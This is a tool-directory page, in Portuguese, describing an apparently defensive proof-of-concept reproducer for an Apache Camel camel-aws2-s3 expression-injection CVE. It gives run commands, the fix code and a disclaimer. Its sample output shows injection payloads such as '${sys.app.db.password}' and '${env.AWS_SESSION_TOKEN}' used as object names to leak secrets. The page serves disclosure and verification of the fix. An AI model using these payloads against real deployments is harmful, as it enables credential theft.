Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-95664 — Reprodutor executável em Spring Boot e Quarkus para a CVE-2026-95664, demonstrando injeção de expressão Simple por meio do cabeçalho CamelAwsS3Key no camel-aws2-s3 e verificando a correção. | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-95664
Ferramentas DefensivasAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e Educação
GitHuboscerd/cve-2026-95664

CVE-2026-95664

Reprodutor executável em Spring Boot e Quarkus para a CVE-2026-95664, demonstrando injeção de expressão Simple por meio do cabeçalho CamelAwsS3Key no camel-aws2-s3 e verificando a correção.

Ver Repositório
5há 4 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-95664 — camel-aws2-s3: uma chave de objeto fornecida por cabeçalho era avaliada como expressão Simple

Reprodutor de prova de conceito executável para a vulnerabilidade do Apache Camel em que o produtor camel-aws2-s3 obtinha a chave do objeto a partir do cabeçalho de mensagem CamelAwsS3Key e — desde a 4.8.0 — AWS2S3Utils.determineKey() passava esse valor para a linguagem Simple sempre que ele continha ${ ou $simple{, para que uma rota pudesse usar uma chave dinâmica. A avaliação aplicava-se a um valor obtido do cabeçalho tanto quanto à opção keyName configurada pela rota.

RuntimeDiretórioStack
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-aws2-s3 4.22.1
Camel Quarkuscamel-quarkus/Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0)

Por que isso importa

O cabeçalho não é configuração de rota. O consumidor aws2-s3 define CamelAwsS3Key em cada exchange que cria com a chave do objeto que leu — ou seja, o nome do objeto no bucket. Em uma rota que não faz nada além de consumir de um endpoint aws2-s3 e produzir para outro, o nome de cada objeto consumido chegava, portanto, ao produtor e era avaliado.

Qualquer pessoa capaz de escolher o nome de um objeto em um bucket que tal rota consome — tipicamente qualquer principal autorizado a enviar para ele — poderia ter expressões Simple de sua escolha avaliadas dentro do processo Camel. Simple pode ler propriedades de sistema da JVM, variáveis de ambiente e propriedades de configuração, que comumente carregam credenciais e, com camel-bean no classpath, invocar métodos em beans do registry.

Configurar keyName no produtor não era uma proteção, porque o cabeçalho tem precedência sobre ele.

Executar

cd camel-spring-boot          # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down

Saída em um build afetado (idêntica em ambos os runtimes):

Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client&region=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.

Values the deployment holds but the route never references:
  system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
  environment AWS_SESSION_TOKEN    = ENV-SESSION-TOKEN-s3cr3t-88

1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
     key the producer wrote: [invoice-2026.pdf]

2) An object an uploader named '${sys.app.db.password}'
     key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
     the JVM system property was resolved into the key: true

3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
     key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
     the environment variable was resolved into the key: true

4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
     key the producer wrote: [route1-D953127238C9F86-0000000000000000]
     evaluated rather than used literally: true

5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
     key the producer wrote: [archived.txt]
     the configured keyName was used instead: true

>>> PROVEN: ...

A Probe 5 é a solução alternativa que o aviso de segurança fornece para implantações que ainda não podem ser atualizadas, mostrada em funcionamento.

Como está estruturado

Sem conta AWS e sem rede. O reprodutor registra um substituto de gravação para o S3 (amazonS3Client=#s3Client) que captura a chave que o produtor realmente solicitou que fosse gravada — a única coisa que precisa ser observada. O AWS2S3Producer real e o AWS2S3Utils.determineKey() real são executados; apenas a chamada ao SDK no final é capturada.

O driver define CamelAwsS3Key com o nome do objeto consumido, que é exatamente o que o consumidor aws2-s3 faz, portanto o lado do consumidor não precisa de um bucket próprio.

O substituto também responde a headBucket, porque AWS2S3Endpoint.doStart() verifica se o bucket existe antes de a rota iniciar. Essa verificação não tem relação com a falha.

Resumo da Vulnerabilidade

PropriedadeValor
Componentecamel-aws2-s3 (AWS2S3Utils.determineKey())
CWECWE-917 (Injeção de Expression Language)
SeveridadeMédia
Vetor de ataqueO nome de um objeto em um bucket que uma rota aws2-s3 consome, contendo ${ ou $simple{, transportado para o produtor em CamelAwsS3Key
ImpactoAvaliar expressões Simple no processo Camel: ler propriedades do sistema, variáveis de ambiente e propriedades de configuração; invocar métodos em beans do registro onde camel-bean está presente
Versões AfetadasDa 4.8.0 anterior à 4.18.5, da 4.19.0 anterior à 4.22.2 (versões anteriores à 4.8.0 usavam o valor do cabeçalho como fornecido e não são afetadas)
Versões Corrigidas4.18.5, 4.22.2, 4.23.0
JIRACAMEL-24901
CréditoAndrea Cosentino da Apache Software Foundation

Aviso de segurança: https://camel.apache.org/security/CVE-2026-95664.html

O nome do bucket passou pela mesma avaliação, mas o consumidor apenas coloca o bucket configurado em seu próprio endpoint em um cabeçalho de bucket, nunca um valor derivado de um objeto remoto, portanto o nome do bucket não era alcançável dessa forma.

A correção

Apenas a chave configurada pela rota pode ser uma expressão Simple dinâmica. Uma chave fornecida por meio do cabeçalho agora é usada literalmente e nunca avaliada:

String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
    // only the configured key (supplied by the route) may be a dynamic simple expression;
    // a key provided through the header is used literally and never evaluated
    key = configuration.getKeyName();
    if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}

Corrigido em main em apache/camel#26746 (1fd7a667), com backports para camel-4.22.x e camel-4.18.x.

Após a atualização, um nome de chave ou bucket fornecido por meio de um cabeçalho de mensagem é usado literalmente — portanto, uma rota que deliberadamente colocou uma expressão Simple não avaliada em CamelAwsS3Key ou CamelAwsS3OverrideBucketName agora deve avaliá-la na própria rota (setHeader(..., simple(...))) ou configurá-la como a opção keyName / bucketName do endpoint.

Verificando uma build corrigida

Defina camel.version como 4.22.2 e execute novamente. Verificado com 4.22.1 → 4.22.2:

2) An object an uploader named '${sys.app.db.password}'
     key the producer wrote: [${sys.app.db.password}]
     the JVM system property was resolved into the key: false

4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
     evaluated rather than used literally: false

>>> NOT reproduced: the header was used literally.

Aviso legal

Este repositório é publicado para fins educacionais e defensivos: para ajudar os usuários do Apache Camel a entender a vulnerabilidade, verificar se são afetados e confirmar que a atualização a resolve. Não use este material contra sistemas que você não possui ou opera.

Baixar ferramenta